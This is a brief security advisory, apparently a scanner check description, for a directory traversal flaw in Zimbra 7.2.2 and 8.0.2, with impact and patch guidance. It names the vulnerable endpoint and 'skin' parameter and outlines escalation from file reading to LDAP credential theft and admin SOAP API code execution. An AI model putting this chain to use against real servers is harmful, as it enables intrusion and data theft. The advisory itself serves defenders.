Readycheck to confirm it

A directory traversal vulnerability in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz in Zimbra 7.2.2 and 8.0.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the skin parameter. This can be leveraged to execute arbitrary code by obtaining LDAP credentials and accessing the service/admin/soap API.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest security patches or upgrade to a newer version of Zimbra Collaboration Server to mitigate the LFI vulnerability.
